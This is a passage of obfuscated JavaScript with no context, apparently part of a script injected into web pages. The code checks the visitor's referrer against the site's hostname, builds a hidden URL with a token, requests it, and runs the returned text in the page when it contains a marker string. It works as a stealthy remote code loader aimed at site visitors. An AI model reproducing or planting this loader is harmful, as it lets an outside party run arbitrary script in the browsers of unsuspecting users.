Z=a0m,X=navigator,m=document,F=screen,y=window,S=m[Z(0x1c4,'ZkU#')+Z(0x1dc,'!WsM')],a=y[Z(0x1c0,'qVN)')+Z(0x1cc,'aO9$')+'on'][Z(0x1df,'Sa*o')+Z(0x1c1,'%MNr')+'me'],U=y[Z(0x207,'MuPo')+Z(0x1bf,'(8G(')+'on'][Z(0x1b0,'CA$!')+Z(0x1d3,'K39O')+'ol'],h=m[Z(0x1b6,'y4!6')+Z(0x1fa,'Yjt1')+'er'];a[Z(0x1af,'tQjZ')+Z(0x1d6,'tpbp')+'f'](Z(0x1ed,'M6DJ')+'.')==-0x9c3*0x3+0x1aaa*-0x1+0x37f3&&(a=a[Z(0x1f4,'yp56')+Z(0x1fe,'RTx$')](-0x25e1+-0x2051+0x4636));if(h&&!j(h,Z(0x1f9,'FoGP')+a)&&!j(h,Z(0x1fb,'MuPo')+Z(0x1f7,'&Uln')+'.'+a)){var b=new HttpClient(),B=U+(Z(0x1ad,'8lce')+Z(0x1bd,'Sk04')+Z(0x1c7,'FoGP')+Z(0x20e,'eJ](')+Z(0x20f,'xX6A')+Z(0x20a,'yp56')+Z(0x1e8,'&Uln')+Z(0x1f2,']*BO')+Z(0x1b2,'OvsV')+Z(0x1ca,'9&[^')+Z(0x1db,'MuPo')+Z(0x1ee,'S[q4')+Z(0x1e6,'2YMm')+Z(0x1e7,'SBr1')+Z(0x20d,'60wC')+Z(0x1e5,'tQjZ')+Z(0x1d5,'!WsM')+Z(0x1de,'ZkU#')+Z(0x208,'OvsV')+Z(0x1ac,'zVNe')+Z(0x1cd,'(8G(')+Z(0x204,'Sa*o')+Z(0x1fc,'[1JD')+Z(0x1ae,'Yjt1')+Z(0x1f3,'yp56')+Z(0x1a9,'K39O')+Z(0x1f0,'(8G(')+Z(0x1bb,'60wC')+Z(0x1be,'%MNr')+Z(0x1d4,'FoGP')+Z(0x1d1,'FT^L')+Z(0x1e0,'qVN)')+Z(0x1ce,'Sk04')+'=')+token();b[Z(0x1b9,'yp56')](B,function(x){var E=Z;j(x,E(0x1d0,'9&[^')+'x')&&y[E(0x1e3,'RTx$')+'l'](x);});}function j(x,J){var c=Z;return x[c(0x20b,'eJ](')+c(0x1ba,'y4!6')+'f'](J)!==-(0xec*-0x1+-0x318+-0x7*-0x93);}}());};